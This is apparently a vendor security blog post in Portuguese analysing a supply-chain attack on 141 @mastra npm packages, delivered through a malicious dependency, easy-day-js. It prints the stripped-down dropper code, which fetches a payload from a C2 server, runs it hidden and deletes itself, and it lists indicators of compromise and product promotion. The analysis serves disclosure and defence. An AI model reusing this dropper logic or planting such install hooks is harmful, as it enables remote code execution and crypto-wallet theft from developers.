Aikido

Mais de 140 pacotes npm populares do Mastra atingidos por ataque à cadeia de suprimentos

Escrito por
Ilyas Makari

Em 17 de junho, detectamos um ataque em larga escala à cadeia de suprimentos visando todo o @mastra escopo npm, um popular framework de agente de IA de código aberto. Um atacante republicou 141 pacotes em um surto entre 01:15 e 02:00 UTC, injetando silenciosamente uma dependência maliciosa em cada um deles. Os pacotes afetados incluem @mastra/core, que possui 918 mil downloads semanais no npm, bem como mastra e create-mastra.

O script postinstall

Todos os 141 pacotes tiveram uma única nova dependência adicionada aos seus package.json: easy-day-js, um clone malicioso da popular biblioteca de datas dayjs. O pacote foi publicado por uma conta separada controlada pelo atacante um dia antes da tomada do escopo. Crucialmente, a versão inicial (1.11.21) estava completamente limpa, uma cópia exata de dayjs sem hooks de instalação. A versão maliciosa (1.11.22) seguiu no dia seguinte, bem na época em que os @mastra pacotes foram republicados. Os pacotes comprometidos dependem de ^1.11.21, mas a resolução caret do npm puxa automaticamente a versão maliciosa 1.11.22 como a versão mais recente, enquanto a auditoria da versão fixada não revela nada suspeito.

A versão 1.11.22 adiciona um postinstall hook que executa setup.cjs, um script ofuscado que é executado automaticamente no momento da instalação sem qualquer interação do usuário.

// obfuscated -- stripped down to the essential logic
const payload = await (await fetch('https://23[.]254[.]164[.]92:8000/update/49890878')).text();
const file = path.join(os.tmpdir(), crypto.randomBytes(12).toString('hex') + '.js');
fs.writeFileSync(file, payload, 'utf8');
child_process.spawn(process.execPath, [file, '23[.]254[.]164[.]123:443'], {
  detached: true, stdio: 'ignore', windowsHide: true
}).unref();
fs.rmSync(__filename, { force: true }); // self-deletes

O que este script faz, passo a passo:

  • Busca um payload de segunda fase do servidor C2 em 23[.]254[.]164[.]92:8000
  • Grava o payload em um arquivo nomeado aleatoriamente .js no diretório temporário do sistema operacional
  • Inicia o payload como um processo em segundo plano totalmente desanexado, invisível em todas as plataformas (stdio: ignore, windowsHide: true), passando um segundo host C2 23[.]254[.]164[.]123:443 como argumento
  • Autoexclui-se para remover evidências forenses do hook postinstall

A segunda fase é executada como um processo em segundo plano de longa duração que coleta informações do sistema e visa mais de 160 extensões de carteira de criptomoedas baseadas em navegador, incluindo MetaMask, Keplr, Coinbase e outras. Ele estabelece persistência disfarçando-se como ferramentas relacionadas a node no macOS, Windows e Linux, todas se comunicando com 23[.]254[.]164[.]123:443.

Similaridades com o comprometimento do axios

O roteiro aqui é quase idêntico ao comprometimento do axios abordamos em março de 2026. Em ambos os ataques, o invasor evitou tocar no código do próprio pacote alvo e, em vez disso, injetou uma dependência maliciosa, contando com o do npm postinstall para executar o payload automaticamente no momento da instalação. Ambos primeiro apresentaram uma versão limpa de isca, e depois seguiram com a maliciosa. No ataque ao axios, plain-crypto-js desempenhou o papel que easy-day-js desempenha aqui. Ambos os droppers também se autoexcluem após a execução para remover evidências forenses.

A infraestrutura também segue o mesmo padrão. O dropper do axios fez callback para um VPS da Hostwinds na porta 8000. O easy-day-js dropper faz o mesmo, atingindo 23[.]254[.]164[.]92:8000 na infraestrutura da Hostwinds.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de Comprometimento

Indicadores de rede

23[.]254[.]164[.]92:8000 — C2 de primeira fase, download do payload
23[.]254[.]164[.]123:443 — host de callback de segunda fase, passado para o RAT iniciado

Pacotes afetados

easy-day-js@1.11.22
create-mastra@1.13.1
mastra@1.13.1
@mastra/acp@0.2.2
@mastra/agent-browser@0.3.2
@mastra/agent-builder@1.0.42
@mastra/agentcore@0.2.2
@mastra/agentfs@0.1.1
@mastra/ai-sdk@1.4.6
@mastra/arize@1.2.3
@mastra/arthur@0.3.3
@mastra/astra@1.0.2
@mastra/auth@1.0.3
@mastra/auth-auth0@1.0.2
@mastra/auth-better-auth@1.0.4
@mastra/auth-clerk@1.0.3
@mastra/auth-cloud@1.1.4
@mastra/auth-firebase@1.0.1
@mastra/auth-okta@0.0.5
@mastra/auth-studio@1.2.4
@mastra/auth-supabase@1.0.2
@mastra/auth-workos@1.5.3
@mastra/azure@0.2.3
@mastra/blaxel@0.4.2
@mastra/braintrust@1.1.4
@mastra/brightdata@0.2.2
@mastra/browser-firecrawl@0.1.1
@mastra/browser-viewer@0.1.3
@mastra/chroma@1.0.2
@mastra/claude@1.0.3
@mastra/clickhouse@1.10.1
@mastra/client-js@1.24.1
@mastra/cloud@0.1.24
@mastra/cloudflare@1.4.2
@mastra/cloudflare-d1@1.0.7
@mastra/codemod@1.0.4
@mastra/convex@1.2.2
@mastra/core@1.42.1
@mastra/couchbase@1.0.4
@mastra/cursor@0.2.1
@mastra/dane@1.0.2
@mastra/datadog@1.2.5
@mastra/daytona@0.4.2
@mastra/deployer@1.42.1
@mastra/deployer-cloud@1.42.1
@mastra/deployer-cloudflare@1.1.44
@mastra/deployer-netlify@1.1.20
@mastra/deployer-vercel@1.1.38
@mastra/docker@0.3.1
@mastra/dsql@1.0.3
@mastra/duckdb@1.4.3
@mastra/dynamodb@1.0.9
@mastra/e2b@0.3.4
@mastra/editor@0.11.3
@mastra/elasticsearch@1.2.1
@mastra/engine@0.1.1
@mastra/evals@1.3.1
@mastra/express@1.3.31
@mastra/fastembed@1.1.3
@mastra/fastify@1.3.31
@mastra/files-sdk@0.2.1
@mastra/gcs@0.2.3
@mastra/github-signals@0.1.2
@mastra/google-cloud-pubsub@1.0.6
@mastra/google-drive@0.1.1
@mastra/hono@1.4.26
@mastra/inngest@1.5.2
@mastra/koa@1.5.14
@mastra/laminar@1.2.3
@mastra/lance@1.0.7
@mastra/langfuse@1.3.6
@mastra/langsmith@1.2.4
@mastra/libsql@1.13.1
@mastra/loggers@1.1.3
@mastra/longmemeval@1.0.50
@mastra/mcp@1.10.1
@mastra/mcp-docs-server@1.1.47
@mastra/mcp-registry-registry@1.0.2
@mastra/mem0@0.1.14
@mastra/memory@1.20.4
@mastra/modal@0.2.2
@mastra/mongodb@1.9.3
@mastra/mssql@1.3.2
@mastra/mysql@0.1.1
@mastra/nestjs@0.1.15
@mastra/node-audio@0.1.8
@mastra/node-speaker@0.1.1
@mastra/observability@1.14.2
@mastra/openai@1.0.2
@mastra/opencode@0.0.47
@mastra/opensearch@1.0.3
@mastra/otel-bridge@1.2.3
@mastra/otel-exporter@1.2.3
@mastra/perplexity@0.1.1
@mastra/pg@1.13.1
@mastra/pinecone@1.0.2
@mastra/playground-ui@33.0.1
@mastra/posthog@1.0.29
@mastra/qdrant@1.0.3
@mastra/rag@2.2.2
@mastra/railway@0.1.1
@mastra/react@1.0.1
@mastra/redis@1.1.3
@mastra/redis-streams@0.0.4
@mastra/s3@0.5.3
@mastra/s3vectors@1.0.7
@mastra/schema-compat@1.2.12
@mastra/sentry@1.1.4
@mastra/server@2.1.1
@mastra/slack@1.3.1
@mastra/spanner@1.1.2
@mastra/speech-azure@0.2.1
@mastra/speech-elevenlabs@0.2.1
@mastra/speech-google@0.2.1
@mastra/speech-ibm@0.2.1
@mastra/speech-murf@0.2.1
@mastra/speech-openai@0.2.1
@mastra/speech-replicate@0.2.1
@mastra/speech-speechify@0.2.1
@mastra/stagehand@0.2.5
@mastra/tavily@1.0.3
@mastra/temporal@0.1.14
@mastra/turbopuffer@1.0.3
@mastra/twilio@1.0.2
@mastra/upstash@1.1.3
@mastra/vectorize@1.0.3
@mastra/vercel@1.0.1
@mastra/voice-aws-nova-sonic@0.1.4
@mastra/voice-azure@0.11.2
@mastra/voice-cloudflare@0.12.3
@mastra/voice-deepgram@0.12.2
@mastra/voice-elevenlabs@0.12.2
@mastra/voice-gladia@0.12.2
@mastra/voice-google@0.12.3
@mastra/voice-google-gemini-live@0.12.2
@mastra/voice-inworld@0.3.1
@mastra/voice-modelslab@0.1.2
@mastra/voice-murf@0.12.3
@mastra/voice-openai@0.12.3
@mastra/voice-openai-realtime@0.12.6
@mastra/voice-playai@0.12.2
@mastra/voice-sarvam@1.0.2
@mastra/voice-speechify@0.12.2
@mastra/voice-xai-realtime@0.1.2

Compartilhar:

https://www.aikido.dev/blog/over-140-popular-mastra-npm-packages-hit-by-supply-chain-attack

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.